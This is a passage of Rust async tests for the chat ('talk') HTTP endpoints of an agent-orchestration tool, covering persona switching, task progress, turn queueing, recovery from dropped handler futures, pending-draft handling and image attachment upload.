15156            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15157        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15158            .await
15159            .expect("detail");
15160        let json = serde_json::to_string(&detail).unwrap();
15161        assert!(
15162            !json.contains("secret"),
15163            "the icon setting must not leak: {json}"
15164        );
15165        assert!(
15166            detail
15167                .view
15168                .persona_avatar
15169                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15170        );
15171        assert_eq!(
15172            detail.view.operator_avatar,
15173            format!(
15174                "/avatars/operator.svg?v={}",
15175                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15176            )
15177        );
15178        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15179        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15180        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15181        assert!(rei.avatar.contains("persona=rei&v="));
15182        assert_ne!(
15183            rei.avatar.split("&v=").nth(1),
15184            plain.avatar.split("&v=").nth(1)
15185        );
15186    }
15187
15188    #[tokio::test]
15189    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15190        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15191        let cfg = config_for(&repo).await.unwrap();
15192        for arrived in [false, true] {
15193            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15194            let observed = ui.queued_generation(&id);
15195            let talk = ui.talks.get(&id).unwrap();
15196            if arrived {
15197                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15198            }
15199            let mut settling = std::pin::pin!(settle_settings_turn(
15200                talk,
15201                ui.talks.clone(),
15202                cfg.clone(),
15203                id.clone(),
15204                turn,
15205                observed
15206            ));
15207            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15208            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15209            assert_eq!(first.is_pending(), arrived);
15210            if arrived {
15211                assert!(!settling.await);
15212            }
15213            assert!(!ui.is_thinking(&id));
15214        }
15215    }
15216
15217    #[tokio::test]
15218    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15219        let tmp = TempDir::new().expect("tempdir");
15220        let repo = tmp.path().join("repo");
15221        std::fs::create_dir_all(&repo).expect("repo dir");
15222        std::fs::write(
15223            repo.join("magi.toml"),
15224            format!(
15225                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15226            ),
15227        )
15228        .expect("write magi.toml");
15229        let home = TempDir::new().expect("temp home");
15230        let talks = Talks::at(home.path().join("talks"));
15231        let ui = Arc::new(
15232            Ui::new(
15233                Queue::at(home.path().join("queue")),
15234                Questions::at(home.path().join("questions")),
15235                talks.clone(),
15236                home.path().join("runs"),
15237                home.path().to_path_buf(),
15238                repo.clone(),
15239            )
15240            .with_worktrees_root(home.path().join("wt")),
15241        );
15242        let cfg = config_for(&repo).await.expect("discover config");
15243        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15244        let id = talk.id.clone();
15245        let call = |persona: &str| {
15246            talk_persona(
15247                State(Arc::clone(&ui)),
15248                Path(id.clone()),
15249                Json(TalkPersona {
15250                    persona: persona.to_owned(),
15251                }),
15252            )
15253        };
15254
15255        let unknown = call("nobody").await.expect_err("unknown persona");
15256        assert_eq!(
15257            unknown.status,
15258            StatusCode::BAD_REQUEST,
15259            "{}",
15260            unknown.message
15261        );
15262
15263        {
15264            // Nothing refused so far took a claim, so the guard is free to take
15265            // and holding it is what makes the talk busy.
15266            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15267            let busy = call("rei").await.expect_err("busy talk");
15268            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15269            assert!(
15270                busy.message.contains("a talk turn is running"),
15271                "{}",
15272                busy.message
15273            );
15274            drop(guard);
15275        }
15276        assert_eq!(talks.get(&id).expect("reload").persona, "");
15277
15278        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15279        assert_eq!(view.talk.persona, "gendo");
15280        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15281        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15282        // No intervening I/O or sleep may be needed before another change.
15283        for chosen in ["default", "gendo", "rei", "gendo"] {
15284            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15285            assert!(!view.thinking);
15286            assert!(!ui.is_thinking(&id));
15287        }
15288
15289        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15290            .await
15291            .expect("detail");
15292        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15293        assert_eq!(ids.first(), Some(&"default"));
15294        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15295
15296        let Json(view) = call("default").await.expect("back to default");
15297        assert_eq!(view.talk.persona, "");
15298
15299        let mut closed = talks.get(&id).expect("reload");
15300        talk::close(&mut closed, &talks).expect("close");
15301        let refused = call("rei").await.expect_err("closed talk");
15302        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15303        assert!(
15304            refused.message.contains("takes no more turns"),
15305            "{}",
15306            refused.message
15307        );
15308    }
15309
15310    #[tokio::test]
15311    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15312        let f = Fixture::start().await;
15313        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15314        let queue = f.queue();
15315        let mut mine = Task::new(
15316            "rename the loader".to_owned(),
15317            "rename the loader".to_owned(),
15318            PathBuf::from("/repo/magi"),
15319            Source::Agent {
15320                run: talk_id.clone(),
15321                node: "chat".to_owned(),
15322            },
15323        );
15324        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15325        assert_eq!(empty["task_progress"]["state"], "none");
15326        assert_eq!(empty["task_progress"]["total"], 0);
15327        queue.put(&mut mine).expect("file the task");
15328        let mut theirs = Task::new(
15329            "unrelated".to_owned(),
15330            "unrelated".to_owned(),
15331            PathBuf::from("/repo/magi"),
15332            Source::Human,
15333        );
15334        // A later task linked through origin_chat alone is outside this list.
15335        theirs.origin_chat = Some(talk_id.clone());
15336        queue.put(&mut theirs).expect("file the task");
15337
15338        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15339        assert_eq!(res.status, 200, "{}", res.body);
15340        let body = res.json();
15341        assert_eq!(
15342            body["status"], "open",
15343            "filing a task does not close a talk"
15344        );
15345        let tasks = body["tasks"].as_array().expect("tasks array");
15346        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15347        assert_eq!(tasks[0]["id"], mine.id);
15348        for status in [
15349            TaskStatus::Queued,
15350            TaskStatus::Running,
15351            TaskStatus::Held,
15352            TaskStatus::Failed,
15353            TaskStatus::Blocked,
15354            TaskStatus::Parked,
15355            TaskStatus::Done,
15356            TaskStatus::Queued,
15357        ] {
15358            mine.status = status;
15359            queue.put(&mut mine).expect("update status");
15360            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15361            let progress = &detail["task_progress"];
15362            assert_eq!(progress["total"], 1);
15363            assert_eq!(progress["counts"][status.as_str()], 1);
15364            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15365            assert_eq!(detail["status"], "open", "completion never closes the chat");
15366            if status == TaskStatus::Done {
15367                assert_eq!(progress["state"], "complete");
15368                assert_eq!(progress["done"], 1);
15369                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15370            } else {
15371                assert_eq!(progress["state"], "incomplete");
15372                assert_eq!(progress["done"], 0);
15373                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15374            }
15375        }
15376    }
15377
15378    #[test]
15379    fn talk_task_progress_counts_mixed_statuses() {
15380        let mut tasks: Vec<_> = [
15381            TaskStatus::Queued,
15382            TaskStatus::Running,
15383            TaskStatus::Held,
15384            TaskStatus::Failed,
15385            TaskStatus::Blocked,
15386            TaskStatus::Parked,
15387            TaskStatus::Done,
15388        ]
15389        .into_iter()
15390        .map(|status| {
15391            let mut task = Task::new(
15392                "task".into(),
15393                "task".into(),
15394                PathBuf::from("/repo"),
15395                Source::Human,
15396            );
15397            task.status = status;
15398            task
15399        })
15400        .collect();
15401        let progress = talk_task_progress(&tasks);
15402        assert_eq!(progress.state, "incomplete");
15403        assert_eq!(progress.total, 7);
15404        assert_eq!(progress.done, 1);
15405        assert_eq!(progress.unfinished_ids.len(), 6);
15406        assert!(progress.counts.values().all(|count| *count == 1));
15407        assert_eq!(
15408            progress.unfinished_ids,
15409            tasks[..6]
15410                .iter()
15411                .map(|task| task.id.clone())
15412                .collect::<Vec<_>>()
15413        );
15414
15415        for task in &mut tasks {
15416            task.status = TaskStatus::Done;
15417        }
15418        let complete = talk_task_progress(&tasks);
15419        assert_eq!(complete.state, "complete");
15420        assert_eq!(complete.done, 7);
15421        assert!(complete.unfinished_ids.is_empty());
15422        tasks[0].status = TaskStatus::Queued;
15423        let requeued = talk_task_progress(&tasks);
15424        assert_eq!(requeued.state, "incomplete");
15425        assert_eq!(requeued.done, 6);
15426        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15427
15428        let empty = talk_task_progress(&[]);
15429        assert_eq!(empty.state, "none");
15430        assert_eq!(empty.total, 0);
15431        assert_eq!(empty.done, 0);
15432        assert!(empty.unfinished_ids.is_empty());
15433        assert!(empty.counts.values().all(|count| *count == 0));
15434    }
15435
15436    #[tokio::test]
15437    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15438        let (_tmp, _repo, f) = talk_fixture().await;
15439        let id = f.post("/api/talks", None).await.json()["id"]
15440            .as_str()
15441            .expect("id")
15442            .to_owned();
15443
15444        let res = f
15445            .post(
15446                &format!("/api/talks/{id}/say"),
15447                Some(r#"{"text":"what does the queue module do?"}"#),
15448            )
15449            .await;
15450        assert_eq!(res.status, 202, "{}", res.body);
15451        let queued = res.json();
15452        let turns = queued["turns"].as_array().expect("turns array");
15453        assert_eq!(
15454            turns.len(),
15455            1,
15456            "the answer reflects only what is on disk the instant it is sent, \
15457             before the agent's turn - which can run for the whole of \
15458             `[graph] timeout_talk` - has a chance to land: {queued}"
15459        );
15460        assert_eq!(turns[0]["who"], "operator");
15461        assert_eq!(turns[0]["body"], "what does the queue module do?");
15462        assert_eq!(
15463            queued["thinking"], true,
15464            "the accepted response exposes the background turn claim: {queued}"
15465        );
15466
15467        let mut turns_after = 1;
15468        for _ in 0..SETTLE_STEPS {
15469            let detail = f.get(&format!("/api/talks/{id}")).await.json();
15470            turns_after = detail["turns"].as_array().expect("turns array").len();
15471            if turns_after == 2 {
15472                break;
15473            }
15474            tokio::time::sleep(Duration::from_millis(10)).await;
15475        }
15476        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15477    }
15478
15479    /// A phone that reloads mid-request drops `talk_say`'s whole handler
15480    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
15481    /// guards against: `talk::record` used to return, and only *then* did the
15482    /// handler make a second, separate disk round trip before spawning the
15483    /// agent's reply task. A future dropped in that gap left a message
15484    /// recorded on disk with no reply task ever started and no way back short
15485    /// of a fresh message - and the gap was not even the whole story: *any*
15486    /// `.await` in this handler, including the very first one, is a point
15487    /// where a drop can land after the awaited work already finished but
15488    /// before this handler's own code resumes to act on it. `record` now
15489    /// runs inside the task `tokio::spawn` hands to the runtime before this
15490    /// handler ever awaits anything of its own again, so there is nothing
15491    /// left in *this* handler's future for a disconnect to interrupt between
15492    /// the message landing on disk and the reply task starting.
15493    ///
15494    /// A real socket disconnect cannot be relied on to land in the old gap
15495    /// from a test - over loopback, `talk_say` typically finishes before the
15496    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
15497    /// same failure mode directly: it drops the task's future at whatever
15498    /// point it has reached, exactly what axum does to the handler future,
15499    /// without needing to win a real network race. Sweeping the delay before
15500    /// aborting samples a range of points the task's execution can be at,
15501    /// including where the old code sat waiting on its second disk round
15502    /// trip - confirmed by reverting this fix locally and watching this same
15503    /// sweep catch a talk stuck with the operator's turn recorded and no
15504    /// reply ever following.
15505    #[tokio::test]
15506    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15507        let tmp = TempDir::new().expect("tempdir");
15508        let repo = tmp.path().join("repo");
15509        std::fs::create_dir_all(&repo).expect("repo dir");
15510        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15511        let home = TempDir::new().expect("temp home");
15512        let talks = Talks::at(home.path().join("talks"));
15513        let ui = Arc::new(
15514            Ui::new(
15515                Queue::at(home.path().join("queue")),
15516                Questions::at(home.path().join("questions")),
15517                talks.clone(),
15518                home.path().join("runs"),
15519                home.path().to_path_buf(),
15520                repo.clone(),
15521            )
15522            .with_worktrees_root(home.path().join("wt")),
15523        );
15524        let cfg = config_for(&repo).await.expect("discover config");
15525
15526        for delay in 0..40u32 {
15527            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15528            let id = talk.id.clone();
15529
15530            let handler = tokio::spawn(talk_say(
15531                State(Arc::clone(&ui)),
15532                Path(id.clone()),
15533                Ok(Json(NewTalkTurn {
15534                    reply_to: None,
15535                    text: "what does the queue module do?".to_owned(),
15536                    attachments: Vec::new(),
15537                })),
15538            ));
15539            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15540            handler.abort();
15541            // Wait out the abort so the next iteration's talk does not race
15542            // this one's still-unwinding turn guard.
15543            let _ = handler.await;
15544
15545            let mut turns = 0;
15546            for _ in 0..SETTLE_STEPS {
15547                if let Ok(fresh) = talks.get(&id) {
15548                    turns = fresh.turns.len();
15549                    if turns != 1 {
15550                        break;
15551                    }
15552                }
15553                tokio::time::sleep(Duration::from_millis(10)).await;
15554            }
15555            assert_ne!(
15556                turns, 1,
15557                "delay {delay}: talk {id} recorded the operator's turn but \
15558                 the agent never answered - the reply task was never \
15559                 started after the handler future was dropped"
15560            );
15561        }
15562    }
15563
15564    /// The same drop, landing on `talk_say`'s other durable write.
15565    ///
15566    /// When a turn is already running, the busy branch persists the
15567    /// operator's text as a queued draft and then reclaims the turn slot if
15568    /// the holder gave it up in the meantime - and whoever reclaims owes that
15569    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
15570    /// which finishes whether or not the future awaiting it is still there,
15571    /// so a handler dropped at that `.await` used to leave the draft written
15572    /// to disk with the reclaimed guard dropped unread and no drainer ever
15573    /// started: the message sat queued until some unrelated later `say`
15574    /// happened to pick it up.
15575    ///
15576    /// This used to drive the handler future by hand, polling it a fixed
15577    /// number of times to park it at the `.await` where it asks for the turn
15578    /// and finds it busy, before the reclaim's slot-free case could be set up
15579    /// underneath it. That assumed a fixed number of polls lands at a fixed
15580    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
15581    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
15582    /// poll, so any number of this handler's several `blocking` awaits can
15583    /// collapse into one poll under load, landing the drive somewhere other
15584    /// than intended - including, occasionally, straight past the handler's
15585    /// own completion, which made polling it again panic with "async fn
15586    /// resumed after completion". No poll count fixes that; the handler's
15587    /// progress simply is not something a caller outside it can observe by
15588    /// counting.
15589    ///
15590    /// [`BusyQueueGate`] replaces the poll count with a real stop point
15591    /// inside the write itself, so the interleaving under test is pinned by
15592    /// an event instead of a guess: the gate fires only once the handler has
15593    /// actually decided `Busy` and is about to persist the draft, and it
15594    /// blocks that write until the test lets it through. Between those two
15595    /// moments the test drains the turn the handler found busy - through
15596    /// `drain_loop`, the protocol's other half - and then aborts the handler
15597    /// task outright, the same way axum drops a disconnected request's
15598    /// future. The write, and the reclaim it may do, run to completion
15599    /// regardless: they live in the `tokio::spawn` task the busy branch hands
15600    /// to the runtime before ever touching the gate, wholly independent of
15601    /// whether the handler that started it is still around - which is what
15602    /// this test is actually checking. A drainer other than that reclaim
15603    /// cannot exist here: the test's own `drain_loop` call happens before the
15604    /// gate opens, so it runs while the queue is still empty and hands the
15605    /// turn straight back rather than draining anything, closing off the
15606    /// possibility of the final assertion passing without the reclaim ever
15607    /// having done its job.
15608    #[tokio::test]
15609    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15610        let tmp = TempDir::new().expect("tempdir");
15611        let repo = tmp.path().join("repo");
15612        std::fs::create_dir_all(&repo).expect("repo dir");
15613        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15614        let home = TempDir::new().expect("temp home");
15615        let talks = Talks::at(home.path().join("talks"));
15616        let ui = Arc::new(
15617            Ui::new(
15618                Queue::at(home.path().join("queue")),
15619                Questions::at(home.path().join("questions")),
15620                talks.clone(),
15621                home.path().join("runs"),
15622                home.path().to_path_buf(),
15623                repo.clone(),
15624            )
15625            .with_worktrees_root(home.path().join("wt")),
15626        );
15627        let cfg = config_for(&repo).await.expect("discover config");
15628
15629        for attempt in 0..3u32 {
15630            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15631            let id = talk.id.clone();
15632            // A turn is already running, which is what sends `talk_say` down
15633            // the busy branch.
15634            let turn_guard = ui
15635                .begin_talk_turn(&id)
15636                .expect("claim the turn")
15637                .expect("a fresh talk owes nobody a turn");
15638
15639            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15640            let (release_tx, release_rx) = std::sync::mpsc::channel();
15641            ui.set_busy_queue_gate(BusyQueueGate {
15642                reached: reached_tx,
15643                release: release_rx,
15644            });
15645
15646            let handler = tokio::spawn(talk_say(
15647                State(Arc::clone(&ui)),
15648                Path(id.clone()),
15649                Ok(Json(NewTalkTurn {
15650                    reply_to: None,
15651                    text: "what does the queue module do?".to_owned(),
15652                    attachments: Vec::new(),
15653                })),
15654            ));
15655
15656            // Wait for the busy branch to actually reach the gate, rather
15657            // than for any fixed number of polls of anything - a bounded
15658            // wait rather than a bare `.await` so a regression that never
15659            // reaches the gate fails the test instead of hanging it.
15660            tokio::time::timeout(Duration::from_secs(5), reached_rx)
15661                .await
15662                .unwrap_or_else(|_| {
15663                    panic!(
15664                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15665                    )
15666                })
15667                .expect("the busy branch dropped the gate without using it");
15668            assert!(
15669                crate::consult::try_publication_guard(&talks, &id)
15670                    .expect("publication fence")
15671                    .is_none(),
15672                "a queued worker cannot promote text before its successor reservation is published"
15673            );
15674
15675            // A listener replacement queues its writer behind this accepted
15676            // mutation. Even disconnecting the HTTP caller must not release
15677            // admission before the write-to-worker handoff has completed.
15678            let closing = Arc::clone(&ui.admissions).write_owned();
15679            tokio::pin!(closing);
15680            std::future::poll_fn(|cx| {
15681                assert!(closing.as_mut().poll(cx).is_pending());
15682                std::task::Poll::Ready(())
15683            })
15684            .await;
15685            assert!(
15686                ui.begin_admission().is_err(),
15687                "replacement blocks later admissions"
15688            );
15689
15690            // The turn that was running now finishes and gives the slot up
15691            // the way a real one does - through `drain_loop`, which finds
15692            // nothing queued yet (the write is still held at the gate) and
15693            // releases. The handler, parked inside `spawn_blocking` on the
15694            // other side of the gate, still believes the talk is busy -
15695            // exactly the interleaving the reclaim exists for.
15696            let running = talks.get(&id).expect("reload talk");
15697            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15698
15699            // Drop the handler future now, the way a reloading phone drops
15700            // it: suspended waiting on the busy branch's answer, having
15701            // itself made no more progress since it handed the write off.
15702            handler.abort();
15703            let _ = handler.await;
15704            std::future::poll_fn(|cx| {
15705                assert!(
15706                    closing.as_mut().poll(cx).is_pending(),
15707                    "HTTP cancellation must not abandon a publishing transaction"
15708                );
15709                std::task::Poll::Ready(())
15710            })
15711            .await;
15712            assert!(
15713                crate::consult::try_publication_guard(&talks, &id)
15714                    .expect("publication fence after disconnect")
15715                    .is_none()
15716            );
15717
15718            // Only now let the gated write proceed. It persists the draft
15719            // and reclaims the now-free slot from inside the task the busy
15720            // branch already spawned - unaffected by the handler's abort
15721            // above, since that task was independent of the handler's own
15722            // future from the moment it was spawned.
15723            let _ = release_tx.send(());
15724            drop(
15725                tokio::time::timeout(Duration::from_secs(5), closing)
15726                    .await
15727                    .expect("short admission transaction should release for replacement"),
15728            );
15729            assert!(
15730                crate::consult::try_publication_guard(&talks, &id)
15731                    .expect("publication fence after acknowledgement")
15732                    .is_some(),
15733                "the publication fence is not retained by the long response"
15734            );
15735
15736            // A settled talk: the draft drained into an operator turn and
15737            // answered.
15738            let mut fresh = talks.get(&id).expect("reload talk");
15739            for _ in 0..SETTLE_STEPS {
15740                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15741                    break;
15742                }
15743                tokio::time::sleep(Duration::from_millis(10)).await;
15744                fresh = talks.get(&id).expect("reload talk");
15745            }
15746            assert!(
15747                fresh.pending.is_empty() && fresh.turns.len() == 2,
15748                "attempt {attempt}: talk {id} left the operator's text queued \
15749                 with no drainer - the reclaimed turn was dropped along with \
15750                 the handler future (pending {:?}, {} turns)",
15751                fresh.pending,
15752                fresh.turns.len()
15753            );
15754        }
15755    }
15756
15757    #[tokio::test]
15758    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15759        let (_tmp, _repo, f) = talk_fixture().await;
15760        let id = f.post("/api/talks", None).await.json()["id"]
15761            .as_str()
15762            .expect("id")
15763            .to_owned();
15764        let store = f.talks();
15765        let mut recovered = store.get(&id).expect("opened talk");
15766        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15767            .expect("persist pending draft without a live turn");
15768
15769        let edited = f
15770            .post(
15771                &format!("/api/talks/{id}/pending/edit"),
15772                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15773            )
15774            .await;
15775        assert_eq!(edited.status, 200, "{}", edited.body);
15776        assert!(edited.json()["thinking"].as_bool().unwrap());
15777
15778        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15779        for _ in 0..SETTLE_STEPS {
15780            if detail["turns"].as_array().expect("turns").len() == 2 {
15781                break;
15782            }
15783            tokio::time::sleep(Duration::from_millis(10)).await;
15784            detail = f.get(&format!("/api/talks/{id}")).await.json();
15785        }
15786        let turns = detail["turns"].as_array().expect("turns");
15787        assert_eq!(
15788            turns.len(),
15789            2,
15790            "the recovered draft must run once: {detail}"
15791        );
15792        assert_eq!(turns[0]["body"], "corrected");
15793        assert_eq!(detail["pending"], "");
15794    }
15795
15796    #[tokio::test]
15797    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15798        let tmp = TempDir::new().expect("tempdir");
15799        let repo = tmp.path().join("repo");
15800        std::fs::create_dir_all(&repo).expect("repo dir");
15801        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15802        let f = Fixture::with_repo(repo).await;
15803        let id = f.post("/api/talks", None).await.json()["id"]
15804            .as_str()
15805            .expect("id")
15806            .to_owned();
15807        let store = f.talks();
15808        let mut recovered = store.get(&id).expect("opened talk");
15809        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15810            .expect("persist pending draft without a live turn");
15811
15812        let refused = f
15813            .post(
15814                &format!("/api/talks/{id}/say"),
15815                Some(r#"{"text":"new message"}"#),
15816            )
15817            .await;
15818        assert_eq!(refused.status, 409, "{}", refused.body);
15819        assert!(refused.body.contains("resume"), "{}", refused.body);
15820        let saved = store.get(&id).expect("draft remains after refusal");
15821        assert!(saved.turns.is_empty());
15822        assert_eq!(saved.pending, "saved before restart");
15823
15824        let say_path = format!("/api/talks/{id}/say");
15825        let (first, second) = tokio::join!(
15826            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15827            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15828        );
15829        assert_eq!(first.status, 409, "{}", first.body);
15830        assert_eq!(second.status, 409, "{}", second.body);
15831        let saved = store
15832            .get(&id)
15833            .expect("draft remains after concurrent refusals");
15834        assert!(saved.turns.is_empty());
15835        assert_eq!(saved.pending, "saved before restart");
15836
15837        let resumed = f
15838            .post(&format!("/api/talks/{id}/pending/resume"), None)
15839            .await;
15840        assert_eq!(resumed.status, 202, "{}", resumed.body);
15841        let duplicate = f
15842            .post(&format!("/api/talks/{id}/pending/resume"), None)
15843            .await;
15844        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15845
15846        for _ in 0..SETTLE_STEPS {
15847            if store.get(&id).expect("talk").turns.len() == 2 {
15848                break;
15849            }
15850            tokio::time::sleep(Duration::from_millis(10)).await;
15851        }
15852        let finished = store.get(&id).expect("finished talk");
15853        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15854        assert_eq!(finished.turns[0].body, "saved before restart");
15855        assert!(finished.pending.is_empty());
15856    }
15857
15858    #[tokio::test]
15859    async fn an_image_only_recovered_draft_resumes_without_text() {
15860        let (_tmp, _repo, f) = talk_fixture().await;
15861        let id = f.post("/api/talks", None).await.json()["id"]
15862            .as_str()
15863            .expect("id")
15864            .to_owned();
15865        let uploaded = f
15866            .post_bytes(
15867                &format!("/api/talks/{id}/attachments"),
15868                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15869                PNG_BYTES,
15870            )
15871            .await;
15872        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15873        let attachment = f
15874            .talks()
15875            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15876            .expect("attachment metadata")
15877            .expect("stored attachment");
15878        let store = f.talks();
15879        let mut recovered = store.get(&id).expect("opened talk");
15880        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15881
15882        let resumed = f
15883            .post(&format!("/api/talks/{id}/pending/resume"), None)
15884            .await;
15885        assert_eq!(resumed.status, 202, "{}", resumed.body);
15886        for _ in 0..SETTLE_STEPS {
15887            if store.get(&id).expect("talk").turns.len() == 2 {
15888                break;
15889            }
15890            tokio::time::sleep(Duration::from_millis(10)).await;
15891        }
15892        let finished = store.get(&id).expect("finished talk");
15893        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15894        assert!(finished.turns[0].body.is_empty());
15895        assert_eq!(finished.turns[0].attachments.len(), 1);
15896        assert!(finished.pending_attachments.is_empty());
15897    }
15898
15899    #[tokio::test]
15900    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15901        let (_tmp, _repo, f) = talk_fixture().await;
15902        let id = f.post("/api/talks", None).await.json()["id"]
15903            .as_str()
15904            .expect("id")
15905            .to_owned();
15906        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15907        assert_eq!(closed.status, 200, "{}", closed.body);
15908        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15909            .expect("serialize closed talk");
15910        for (path, body) in [
15911            (format!("/api/talks/{id}/pending/resume"), None),
15912            (
15913                format!("/api/talks/{id}/pending/clear"),
15914                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15915            ),
15916            (
15917                format!("/api/talks/{id}/pending/edit"),
15918                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15919            ),
15920            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15921        ] {
15922            let response = f.post(&path, body).await;
15923            assert_eq!(response.status, 409, "{}", response.body);
15924        }
15925        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15926            .expect("serialize closed talk");
15927        assert_eq!(
15928            after_clear, before_clear,
15929            "clear must not rewrite a closed talk"
15930        );
15931    }
15932
15933    /// Keeps both claims observable long enough to exercise the distinction
15934    /// between one busy talk and a globally locked Chat surface.
15935    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15936
15937    #[tokio::test]
15938    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15939        let tmp = TempDir::new().expect("tempdir");
15940        let repo = tmp.path().join("repo");
15941        std::fs::create_dir_all(&repo).expect("repo dir");
15942        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15943        let f = Fixture::with_repo(repo).await;
15944        let id_a = f.post("/api/talks", None).await.json()["id"]
15945            .as_str()
15946            .unwrap()
15947            .to_owned();
15948        let id_b = f.post("/api/talks", None).await.json()["id"]
15949            .as_str()
15950            .unwrap()
15951            .to_owned();
15952
15953        let a = f
15954            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15955            .await;
15956        assert_eq!(a.status, 202, "{}", a.body);
15957        assert_eq!(a.json()["thinking"], true);
15958        let b = f
15959            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15960            .await;
15961        assert_eq!(b.status, 202, "{}", b.body);
15962        assert_eq!(b.json()["thinking"], true);
15963
15964        let listed = f.get("/api/talks").await.json();
15965        for id in [&id_a, &id_b] {
15966            let view = listed
15967                .as_array()
15968                .unwrap()
15969                .iter()
15970                .find(|talk| talk["id"] == *id)
15971                .unwrap();
15972            assert_eq!(view["thinking"], true, "{listed}");
15973        }
15974        let repeated = f
15975            .post(
15976                &format!("/api/talks/{id_a}/say"),
15977                Some(r#"{"text":"again"}"#),
15978            )
15979            .await;
15980        assert_eq!(repeated.status, 202, "{}", repeated.body);
15981        assert_eq!(repeated.json()["pending"], "again");
15982    }
15983
15984    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
15985    /// few more, since real uploads are never exactly eight bytes.
15986    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15987
15988    #[tokio::test]
15989    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15990        let f = Fixture::start().await;
15991        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15992
15993        let res = f
15994            .post_bytes(
